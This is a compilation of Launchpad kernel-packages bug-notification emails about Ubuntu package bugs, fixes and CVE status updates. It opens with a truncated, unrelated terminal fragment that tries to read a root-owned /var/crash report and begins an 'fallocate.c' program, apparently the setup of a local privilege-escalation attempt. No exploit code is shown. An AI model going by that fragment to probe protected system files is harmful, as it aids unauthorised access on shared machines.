root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash -rw-r- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash -rw-r- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash -rw-r- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash cat: /var/crash/_usr_bin_id.0.crash: Permission denied user@ubuntu-18-04-vm:~$ cat fallocate.c #define _GNU_SOURCE #include #include #include #include #include #include #include #include int main(int argc, char **argv
[Kernel-packages] [Bug 1796376] Re: Bug #1739107 fix causes linux-cloud-tools-common not to be upgradable with unattended-upgrades on shutdown mode
** No longer affects: linux (Ubuntu) ** No longer affects: linux (Ubuntu Xenial) ** No longer affects: linux (Ubuntu Bionic) ** No longer affects: linux (Ubuntu Cosmic) ** No longer affects: linux (Ubuntu Disco) ** This bug is no longer a duplicate of bug 1778219 unattended-upgrades hangs on shutdown, leaves system in a broken state -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1796376 Title: Bug #1739107 fix causes linux-cloud-tools-common not to be upgradable with unattended-upgrades on shutdown mode Status in unattended-upgrades package in Ubuntu: Fix Released Status in unattended-upgrades source package in Xenial: In Progress Status in unattended-upgrades source package in Bionic: Fix Released Status in unattended-upgrades source package in Cosmic: Fix Released Status in unattended-upgrades source package in Disco: Fix Released Bug description: Since the following linux-cloud-tools-common package versions : Xenial : 4.4.0-135.161 Bionic : 4.15.0-34.37 the Systemd service unit file for hv-kvp-daemon has been modified with new dependencies that make the package unable to be upgraded with unattended-upgrades on shutdown mode. Unattended-upgrades hangs with the linux-cloud-tools-common package during "Preparing to unpack". The server restarts after the unattended-upgrades service timeout expires. - Package state after reboot : iFR linux-cloud-tools-common 4.15.0-34.37 all Linux kernel version specific cloud tools for version 4.15.0 - Unattended-upgrades dpkg logs : Log started: 2018-10-05 17:59:04 (Reading database ... 52043 files and directories currently installed.) Preparing to unpack .../linux-cloud-tools-common_4.15.0-36.39_all.deb ... Log ended: 2018-10-05 18:00:54 - Impact : The current impact is very important as all security updates are blocked until you manually fix each server with : dpkg --configure -a apt install --only-upgrade linux-cloud-tools-common - Workaround/Fix : As a simple straightforward fix, replacing : Before=shutdown.target cloud-init-local.service walinuxagent.service with : Before=shutdown.target walinuxagent.service makes the package upgradable during shutdown. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unattended-upgrades/+bug/1796376/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1525569] Re: CVE-2015-8539
** Changed in: linux (Ubuntu Trusty) Status: Invalid => Fix Released ** Changed in: linux (Ubuntu) Status: Fix Committed => Fix Released ** Changed in: linux (Ubuntu Precise) Status: Invalid => Won't Fix ** Changed in: linux-lts-trusty (Ubuntu Precise) Status: Invalid => Fix Released ** No longer affects: linux (Ubuntu Vivid) ** No longer affects: linux (Ubuntu Wily) ** No longer affects: linux (Ubuntu Xenial) ** No longer affects: linux (Ubuntu Yakkety) ** No longer affects: linux-armadaxp (Ubuntu) ** No longer affects: linux-armadaxp (Ubuntu Precise) ** No longer affects: linux-armadaxp (Ubuntu Trusty) ** No longer affects: linux-armadaxp (Ubuntu Vivid) ** No longer affects: linux-armadaxp (Ubuntu Wily) ** No longer affects: linux-armadaxp (Ubuntu Xenial) ** No longer affects: linux-armadaxp (Ubuntu Yakkety) ** No longer affects: linux-ec2 (Ubuntu) ** No longer affects: linux-ec2 (Ubuntu Precise) ** No longer affects: linux-ec2 (Ubuntu Trusty) ** No longer affects: linux-ec2 (Ubuntu Vivid) ** No longer affects: linux-ec2 (Ubuntu Wily) ** No longer affects: linux-ec2 (Ubuntu Xenial) ** No longer affects: linux-ec2 (Ubuntu Yakkety) ** Changed in: linux-flo (Ubuntu Trusty) Status: Invalid => Won't Fix ** Changed in: linux-flo (Ubuntu Xenial) Status: New => Won't Fix -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-armadaxp in Ubuntu. https://bugs.launchpad.net/bugs/1525569 Title: CVE-2015-8539 Status in linux package in Ubuntu: Fix Released Status in linux-fsl-imx51 package in Ubuntu: Invalid Status in linux-goldfish package in Ubuntu: New Status in linux-lts-backport-maverick package in Ubuntu: New Status in linux-lts-backport-natty package in Ubuntu: New Status in linux-lts-quantal package in Ubuntu: Invalid Status in linux-lts-raring package in Ubuntu: Invalid Status in linux-lts-saucy package in Ubuntu: Invalid Status in linux-lts-trusty package in Ubuntu: Invalid Status in linux-lts-utopic package in Ubuntu: Invalid Status in linux-lts-vivid package in Ubuntu: Invalid Status in linux-lts-wily package in Ubuntu: Invalid Status in linux-lts-xenial package in Ubuntu: Invalid Status in linux-mako package in Ubuntu: New Status in linux-manta package in Ubuntu: Invalid Status in linux-mvl-dove package in Ubuntu: Invalid Status in linux-raspi2 package in Ubuntu: Fix Committed Status in linux-snapdragon package in Ubuntu: Invalid Status in linux-ti-omap4 package in Ubuntu: Invalid Status in linux source package in Precise: Won't Fix Status in linux-fsl-imx51 source package in Precise: Invalid Status in linux-goldfish source package in Precise: Invalid Status in linux-lts-backport-maverick source package in Precise: New Status in linux-lts-backport-natty source package in Precise: New Status in linux-lts-quantal source package in Precise: Invalid Status in linux-lts-raring source package in Precise: Invalid Status in linux-lts-saucy source package in Precise: Invalid Status in linux-lts-trusty source package in Precise: Fix Released Status in linux-lts-utopic source package in Precise: Invalid Status in linux-lts-vivid source package in Precise: Invalid Status in linux-lts-wily source package in Precise: Invalid Status in linux-lts-xenial source package in Precise: Invalid Status in linux-mako source package in Precise: Invalid Status in linux-manta source package in Precise: Invalid Status in linux-mvl-dove source package in Precise: Invalid Status in linux-raspi2 source package in Precise: Invalid Status in linux-snapdragon source package in Precise: Invalid Status in linux-ti-omap4 source package in Precise: Invalid Status in linux source package in Trusty: Fix Released Status in linux-flo source package in Trusty: Won't Fix Status in linux-fsl-imx51 source package in Trusty: Invalid Status in linux-goldfish source package in Trusty: Invalid Status in linux-lts-backport-maverick source package in Trusty: New Status in linux-lts-backport-natty source package in Trusty: New Status in linux-lts-quantal source package in Trusty: Invalid Status in linux-lts-raring source package in Trusty: Invalid Status in linux-lts-saucy source package in Trusty: Invalid Status in linux-lts-trusty source package in Trusty: Invalid Status in linux-lts-utopic source package in Trusty: Invalid Status in linux-lts-vivid source package in Trusty: Invalid Status in linux-lts-wily source package in Trusty: Invalid Status in linux-lts-xenial source package in Trusty: Fix Committed Status in linux-mako source package in Trusty: Invalid Status in linux-manta source package in Trusty: Invalid Status in linux-mvl-dove source package in Trusty: Invalid Status in linux-raspi2 source package in Trusty: Invalid Status in linux-snapdragon source package in Trusty: Invalid Status in linux-ti-omap4 sour
[Kernel-packages] [Bug 1793461] Re: Improvements to the kernel source package preparation
** No longer affects: linux-hwe-edge (Ubuntu Precise) ** No longer affects: linux-hwe-edge (Ubuntu Trusty) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1793461 Title: Improvements to the kernel source package preparation Status in linux package in Ubuntu: Fix Released Status in linux-hwe-edge package in Ubuntu: New Status in linux source package in Precise: Fix Committed Status in linux source package in Trusty: Fix Released Status in linux source package in Xenial: Fix Released Status in linux-hwe-edge source package in Xenial: New Status in linux source package in Bionic: Fix Released Status in linux-hwe-edge source package in Bionic: Fix Committed Status in linux source package in Cosmic: Fix Released Status in linux-hwe-edge source package in Cosmic: New Bug description: We need to improve the automation of the process that we use to prepare kernel source packages. That requires changes in both the tooling and in the kernels. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1793461/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1791286] Re: The VM hang happens because of pending interrupts not reinjected when migrating the VM several times
** Changed in: linux (Ubuntu) Status: Incomplete => Fix Released ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu Trusty) Importance: Undecided => Medium -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1791286 Title: The VM hang happens because of pending interrupts not reinjected when migrating the VM several times Status in linux package in Ubuntu: Fix Released Status in linux source package in Trusty: Fix Released Bug description: [Impact] After the VM(Guest OS is Windows Server 2012R2) has been live-migrated several times, the screen is blacked out or freeze when the VM is connected via VNC. The Windows Guest OS Server has been investigated that all of kernel threads of Windows Server OS are waiting(idle state) for interrupt request(IRQ) from hypervisor. The following environment is tested: * Host OS: Ubuntu 14.04(kernel 3.13.0-40.69) * qemu-kvm_2.0.0+dfsg-2ubuntu1.22 * libvert-bin_1.2.2-0ubuntu13.1.5 * nova-compute_1:2014.2.3-0ubuntu1.2~cloud0 * GuestOS: Windows Server 2012R2 * virtio-win-0.1.126 [Fix] The patch set is needed: 673f7b4257a1 KVM: ioapic: reinject pending interrupts on KVM_SET_IRQCHIP 44847dea7975 KVM: ioapic: extract body of kvm_ioapic_set_irq 0bc830b05c66 KVM: ioapic: clear IRR for edge-triggered interrupts at delivery 0b10a1c87a2b KVM: ioapic: merge ioapic_deliver into ioapic_service [Test] Prepare two machines with the same environment mentioned above and run the following script. #!/bin/bash INSTANCE="test" FROM="elite" virsh -c qemu+ssh://ubuntu@${FROM}/system list| grep -q ${INSTANCE} if [[ $? != 0 ]]; then FROM="dixie"; TO="elite"; else TO="dixie" fi echo "= Migrating ${INSTANCE} from ${FROM} to ${TO} =" ssh ubuntu@${FROM} -- virsh migrate --live --domain ${INSTANCE} --desturi qemu+ssh://ubuntu@${TO}/system The VNC script I use to keep track of the VNC console is: #!/bin/bash INSTANCE="test" while true; do HOST="elite" virsh -c qemu+ssh://ubuntu@${HOST}/system list| grep -q ${INSTANCE} if [[ $? != 0 ]]; then HOST="dixie"; fi virt-viewer -c qemu+ssh://ubuntu@${HOST}/system test sleep 3 done To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1791286/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1525569] Re: CVE-2015-8539
** No longer affects: linux-flo (Ubuntu Precise) ** No longer affects: linux-flo (Ubuntu Vivid) ** No longer affects: linux-flo (Ubuntu Wily) ** No longer affects: linux-flo (Ubuntu Yakkety) ** No longer affects: linux-flo (Ubuntu) ** Changed in: linux-goldfish (Ubuntu Xenial) Status: New => Won't Fix ** Changed in: linux-goldfish (Ubuntu Trusty) Status: Invalid => Won't Fix ** No longer affects: linux-goldfish (Ubuntu) ** No longer affects: linux-goldfish (Ubuntu Precise) ** No longer affects: linux-goldfish (Ubuntu Vivid) ** No longer affects: linux-goldfish (Ubuntu Wily) ** No longer affects: linux-goldfish (Ubuntu Yakkety) ** Changed in: linux-raspi2 (Ubuntu) Status: Fix Committed => Fix Released ** No longer affects: linux-raspi2 (Ubuntu Yakkety) ** No longer affects: linux-raspi2 (Ubuntu Xenial) ** No longer affects: linux-raspi2 (Ubuntu Wily) ** No longer affects: linux-raspi2 (Ubuntu Vivid) ** No longer affects: linux-raspi2 (Ubuntu Trusty) ** No longer affects: linux-raspi2 (Ubuntu Precise) ** Changed in: linux-lts-utopic (Ubuntu Trusty) Status: Invalid => Won't Fix ** Changed in: linux-lts-wily (Ubuntu Trusty) Status: Invalid => Won't Fix ** Changed in: linux-lts-vivid (Ubuntu Trusty) Status: Invalid => Won't Fix ** No longer affects: linux-fsl-imx51 (Ubuntu) ** No longer affects: linux-fsl-imx51 (Ubuntu Precise) ** No longer affects: linux-fsl-imx51 (Ubuntu Trusty) ** No longer affects: linux-fsl-imx51 (Ubuntu Vivid) ** No longer affects: linux-fsl-imx51 (Ubuntu Wily) ** No longer affects: linux-fsl-imx51 (Ubuntu Xenial) ** No longer affects: linux-fsl-imx51 (Ubuntu Yakkety) ** No longer affects: linux-lts-backport-maverick (Ubuntu) ** No longer affects: linux-lts-backport-maverick (Ubuntu Precise) ** No longer affects: linux-lts-backport-maverick (Ubuntu Trusty) ** No longer affects: linux-lts-backport-maverick (Ubuntu Vivid) ** No longer affects: linux-lts-backport-maverick (Ubuntu Wily) ** No longer affects: linux-lts-backport-maverick (Ubuntu Xenial) ** No longer affects: linux-lts-backport-maverick (Ubuntu Yakkety) ** No longer affects: linux-lts-backport-natty (Ubuntu) ** No longer affects: linux-lts-backport-natty (Ubuntu Precise) ** No longer affects: linux-lts-backport-natty (Ubuntu Trusty) ** No longer affects: linux-lts-backport-natty (Ubuntu Vivid) ** No longer affects: linux-lts-backport-natty (Ubuntu Wily) ** No longer affects: linux-lts-backport-natty (Ubuntu Xenial) ** No longer affects: linux-lts-backport-natty (Ubuntu Yakkety) ** No longer affects: linux-lts-xenial (Ubuntu) ** No longer affects: linux-lts-xenial (Ubuntu Precise) ** No longer affects: linux-lts-xenial (Ubuntu Trusty) ** No longer affects: linux-lts-xenial (Ubuntu Vivid) ** No longer affects: linux-lts-xenial (Ubuntu Wily) ** No longer affects: linux-lts-xenial (Ubuntu Xenial) ** No longer affects: linux-lts-xenial (Ubuntu Yakkety) ** No longer affects: linux-snapdragon (Ubuntu Vivid) ** No longer affects: linux-snapdragon (Ubuntu Wily) ** No longer affects: linux-snapdragon (Ubuntu Yakkety) ** Changed in: linux-manta (Ubuntu Trusty) Status: Invalid => Won't Fix ** No longer affects: linux-manta (Ubuntu Vivid) ** No longer affects: linux-manta (Ubuntu Wily) ** No longer affects: linux-manta (Ubuntu Yakkety) ** Changed in: linux-mako (Ubuntu Trusty) Status: Invalid => Won't Fix ** Changed in: linux-mako (Ubuntu Xenial) Status: New => Won't Fix ** No longer affects: linux-mako (Ubuntu) ** No longer affects: linux-mako (Ubuntu Precise) ** No longer affects: linux-mako (Ubuntu Vivid) ** No longer affects: linux-mako (Ubuntu Wily) ** No longer affects: linux-mako (Ubuntu Yakkety) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-lts-backport-maverick in Ubuntu. https://bugs.launchpad.net/bugs/1525569 Title: CVE-2015-8539 Status in linux package in Ubuntu: Fix Released Status in linux-lts-quantal package in Ubuntu: Invalid Status in linux-lts-raring package in Ubuntu: Invalid Status in linux-lts-saucy package in Ubuntu: Invalid Status in linux-lts-trusty package in Ubuntu: Invalid Status in linux-lts-utopic package in Ubuntu: Invalid Status in linux-lts-vivid package in Ubuntu: Invalid Status in linux-lts-wily package in Ubuntu: Invalid Status in linux-manta package in Ubuntu: Invalid Status in linux-mvl-dove package in Ubuntu: Invalid Status in linux-raspi2 package in Ubuntu: Fix Released Status in linux-snapdragon package in Ubuntu: Invalid Status in linux-ti-omap4 package in Ubuntu: Invalid Status in linux source package in Precise: Won't Fix Status in linux-lts-quantal source package in Precise: Invalid Status in linux-lts-raring source package in Precise: Invalid Status in linux-lts-saucy source package in Precise: Invalid Status in linux-lts-trusty source package in Precise: Fix Released
[Kernel-packages] [Bug 792085] Re: Automatic remount of safely removed USB 3.0 drive
** Changed in: linux (Ubuntu) Status: In Progress => Fix Released ** Package changed: opensuse => linux (openSUSE) ** Package changed: fedora => linux (Fedora) ** No longer affects: udev (Ubuntu Trusty) ** No longer affects: udev (Ubuntu Precise) ** No longer affects: udev (Ubuntu) ** No longer affects: thunar (Ubuntu Trusty) ** No longer affects: thunar (Ubuntu Precise) ** No longer affects: thunar (Ubuntu) ** No longer affects: nautilus (Ubuntu Trusty) ** No longer affects: nautilus (Ubuntu Precise) ** No longer affects: nautilus (Ubuntu) ** Project changed: thunar => ubuntu-translations ** Changed in: ubuntu-translations Importance: Medium => Undecided ** Changed in: ubuntu-translations Status: Invalid => New ** Changed in: ubuntu-translations Remote watch: Xfce Bugzilla #12454 => None ** No longer affects: ubuntu-translations ** Project changed: nautilus => ubuntu-translations ** No longer affects: ubuntu-translations ** Bug watch removed: GNOME Bug Tracker #641873 https://bugzilla.gnome.org/show_bug.cgi?id=641873 ** Bug watch removed: freedesktop.org Bugzilla #71802 https://bugs.freedesktop.org/show_bug.cgi?id=71802 ** Bug watch removed: Xfce Bugzilla #12454 https://bugzilla.xfce.org/show_bug.cgi?id=12454 -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/792085 Title: Automatic remount of safely removed USB 3.0 drive Status in linux package in Ubuntu: Fix Released Status in linux source package in Trusty: Triaged Status in linux source package in Xenial: Fix Released Status in linux source package in Yakkety: Fix Released Status in linux package in Fedora: Fix Released Status in linux package in openSUSE: Fix Released Bug description: Binary package hint: nautilus When I choose "Safely remove drive" context menu entry for an external USB drive within a nautilus window or directly clicking on the desktop icon, after about 10 seconds the drive is automatically remounted and a Nautilus window showing the root folder opens. I have noticed that similar already happened with a very old Ubuntu version - Bug #110589 and as that is so long time ago I thought it is better to open a new bug. Reason of the problem might even be completely different. ProblemType: Bug DistroRelease: Ubuntu 11.04 Package: nautilus 1:2.32.2.1-0ubuntu13 ProcVersionSignature: Ubuntu 2.6.38-8.42-generic-pae 2.6.38.2 Uname: Linux 2.6.38-8-generic-pae i686 Architecture: i386 Date: Thu Jun 2 23:40:08 2011 InstallationMedia: Ubuntu 11.04 "Natty Narwhal" - Release i386 (20110427.1) ProcEnviron: LANGUAGE=en_US:en LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: nautilus UpgradeStatus: No upgrade log present (probably fresh install) break-fix: - 37be66767e3cae4fd16e064d8bb7f9f72bf5c045 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/792085/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 792085] Re: Automatic remount of safely removed USB 3.0 drive
** Changed in: linux (Ubuntu Trusty) Status: In Progress => Triaged -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/792085 Title: Automatic remount of safely removed USB 3.0 drive Status in linux package in Ubuntu: Fix Released Status in linux source package in Trusty: Triaged Status in linux source package in Xenial: Fix Released Status in linux source package in Yakkety: Fix Released Status in linux package in Fedora: Fix Released Status in linux package in openSUSE: Fix Released Bug description: Binary package hint: nautilus When I choose "Safely remove drive" context menu entry for an external USB drive within a nautilus window or directly clicking on the desktop icon, after about 10 seconds the drive is automatically remounted and a Nautilus window showing the root folder opens. I have noticed that similar already happened with a very old Ubuntu version - Bug #110589 and as that is so long time ago I thought it is better to open a new bug. Reason of the problem might even be completely different. ProblemType: Bug DistroRelease: Ubuntu 11.04 Package: nautilus 1:2.32.2.1-0ubuntu13 ProcVersionSignature: Ubuntu 2.6.38-8.42-generic-pae 2.6.38.2 Uname: Linux 2.6.38-8-generic-pae i686 Architecture: i386 Date: Thu Jun 2 23:40:08 2011 InstallationMedia: Ubuntu 11.04 "Natty Narwhal" - Release i386 (20110427.1) ProcEnviron: LANGUAGE=en_US:en LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: nautilus UpgradeStatus: No upgrade log present (probably fresh install) break-fix: - 37be66767e3cae4fd16e064d8bb7f9f72bf5c045 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/792085/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1771764] Re: iproute2: unable to add ip lwt mpls route on xenial
** Changed in: iproute2 (Ubuntu) Importance: Medium => Wishlist -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to iproute2 in Ubuntu. Matching subscriptions: iproute2 https://bugs.launchpad.net/bugs/1771764 Title: iproute2: unable to add ip lwt mpls route on xenial Status in iproute2 package in Ubuntu: Triaged Bug description: The following command does not work: $ ip route add 10.201.0.0/24 nexthop encap mpls 300 via 10.200.0.1 dev ntfp2 Error: "nexthop" or end of line is expected instead of "encap" In fact, iproute2 version points to v4.3.0, but the xenial kernel is a 4.4. $ ip -V ip utility, iproute2-ss151103 => https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/commit/?id=6720eceff7b4 With an iproute2 v4.4.0 (iproute2-ss160111), that command works: $ modprobe mpls_iptunnel $ ./ip/ip route add 10.201.0.0/24 nexthop encap mpls 300 via 10.200.0.1 dev ntfp2 $ ./ip/ip r [snip] 10.201.0.0/24 encap mpls 300 via 10.200.0.1 dev ntfp2 At least, this patch is missing: 1e5293056a02 ("lwtunnel: Add encapsulation support to ip route") https://git.kernel.org/pub/scm/network/iproute2/iproute2.git/commit/?id=1e5293056a02 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/iproute2/+bug/1771764/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1755490] Re: Incorrect information about display shown in gnome/unity-control-center
** Changed in: unity-settings-daemon (Ubuntu Bionic) Importance: Undecided => Low ** Changed in: unity-settings-daemon (Ubuntu Cosmic) Importance: Undecided => Low -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to hwdata in Ubuntu. https://bugs.launchpad.net/bugs/1755490 Title: Incorrect information about display shown in gnome/unity-control- center Status in hwdata package in Ubuntu: Fix Released Status in unity-settings-daemon package in Ubuntu: Fix Released Status in unity-settings-daemon source package in Bionic: Fix Committed Status in unity-settings-daemon source package in Cosmic: Fix Committed Bug description: [Impact] * There is a number of display devices that misuse the width & height field in EDID. Instead of real size in centimeters it contains encoded aspect ratio (e.g. 1600x900, 16x10, 160x90). This leads to incorrect calculation of diagonal for the purpose of e.g. Unity settings app. [Test Case] 1. Connect a display device that provides incorrect EDID data (e.g. LG 49UB850T-DA TV). 2. Open the Displays section of Unity settings. 3. Look for the name of the newly connected display in the settings window. Expected result: Display name should contain its real diagonal or model name (if dimensions are not availabe). Actual result: Display name contains a ridiculous diagonal (e.g. 72" in case of a 49" display). [Regression Potential] * This affects the way the display name will be formatted for any software using unity-settings-daemon. If anything is testing/comparing display names - it may fail. [Other Info] * Original bug description: After connecting a LG 49UB850T-DA TV the following information is displayed in the unity-control-center: Goldstar Company Ltd 72" It's misleading since neither the company name nor the diagonal matches. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/hwdata/+bug/1755490/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1358966] Re: Broadcom kernel module failed to build [error: macro "alloc_netdev" requires 4 arguments, but only 3 given]
** No longer affects: broadcom-sta (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1358966 Title: Broadcom kernel module failed to build [error: macro "alloc_netdev" requires 4 arguments, but only 3 given] Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Trusty: Fix Committed Bug description: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1 will not build with linux-3.17-rc1 from Ubuntu kernel ppa (Mainline). Tried custom kernel as well from kernel archives 3.17-rc1. APPORT ERROR ProblemType: Package DistroRelease: Ubuntu 14.10 Package: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1 Uname: Linux 3.16.1-custom x86_64 NonfreeKernelModules: nvidia wl ApportVersion: 2.14.6-0ubuntu1 Architecture: amd64 DKMSKernelVersion: 3.17.0-031700rc1-generic Date: Tue Aug 19 19:42:02 2014 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.248+bdcom-0ubuntu1:/var/lib/dkms/bcmwl/6.30.223.248+bdcom/build/src/wl/sys/wl_linux.c:1316:64: error: macro "alloc_netdev" requires 4 arguments, but only 3 given InstallationDate: Installed on 2014-07-05 (45 days ago) InstallationMedia: Ubuntu "Utopic" - Build amd64 LIVE Binary 20140703-15:52 PackageVersion: 6.30.223.248+bdcom-0ubuntu1 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1: bcmwl kernel module failed to build UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1358966/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1173761] Re: 14e4:43b1 Broadcom Corporation Device 43b1 (rev 03) - not supported
** No longer affects: broadcom-sta (Ubuntu) ** Project changed: broadcom => ubuntu-translations ** No longer affects: ubuntu-translations -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1173761 Title: 14e4:43b1 Broadcom Corporation Device 43b1 (rev 03) - not supported Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Trusty: Fix Committed Bug description: Both during and after installation, 13.04 doesn't support the Broadcom-based 802.11ac wifi chipsets. lspci reports it as "Network controller: Broadcom Corporation Device 43b1 (rev 03)". WORKAROUND: 6_30_223_95 driver in http://people.canonical.com/~ypwong/drivers/broadcom/ , install an old version: https://launchpad.net/ubuntu/saucy/amd64/bcmwl-kernel- source/6.30.223.30+bdcom-0ubuntu3 (found at http://gaspuu.blogspot.no/2014/05/dell-precision-m4800-with-ubuntu- linux.html), or simply replace the wifi module with another one with better driver support (if laptop has no whitelist for modules). --- ApportVersion: 2.9.2-0ubuntu8 Architecture: amd64 DistroRelease: Ubuntu 13.04 EcryptfsInUse: Yes InstallationDate: Installed on 2013-04-27 (0 days ago) InstallationMedia: Ubuntu 13.04 "Raring Ringtail" - Release amd64 (20130424) MarkForUpload: True NonfreeKernelModules: nvidia Package: linux (not installed) Tags: raring Uname: Linux 3.9.0-030900rc8-generic x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo --- ApportVersion: 2.9.2-0ubuntu8 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: atrauzzi 2141 F pulseaudio /dev/snd/controlC0: atrauzzi 2141 F pulseaudio CRDA: Error: command ['iw', 'reg', 'get'] failed with exit code 1: nl80211 not found. CurrentDmesg: [ 176.287266] atl1c :04:00.0: vpd r/w failed. This is likely a firmware bug on this device. Contact the card vendor for a firmware update. DistroRelease: Ubuntu 13.04 EcryptfsInUse: Yes HibernationDevice: RESUME=UUID=90e84f80-b3fc-4480-b4cd-21d15e3abc6d InstallationDate: Installed on 2013-04-27 (0 days ago) InstallationMedia: Ubuntu 13.04 "Raring Ringtail" - Release amd64 (20130424) MachineType: ASUSTeK COMPUTER INC. G75VX MarkForUpload: True NonfreeKernelModules: nvidia Package: linux (not installed) ProcFB: 0 EFI VGA ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.8.0-19-generic root=UUID=b0911040-5a49-4581-9a7a-bac9d830a0ba ro nomodeset quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 3.8.0-19.29-generic 3.8.8 RelatedPackageVersions: linux-restricted-modules-3.8.0-19-generic N/A linux-backports-modules-3.8.0-19-generic N/A linux-firmware1.106 StagingDrivers: r8712u Tags: raring staging Uname: Linux 3.8.0-19-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo dmi.bios.date: 10/23/2012 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: G75VX.203 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: G75VX dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrG75VX.203:bd10/23/2012:svnASUSTeKCOMPUTERINC.:pnG75VX:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnG75VX:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0: dmi.product.name: G75VX dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1173761/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1415880] Re: 14e4:4365 bcmwl-kernel source: fix for null pointer crash
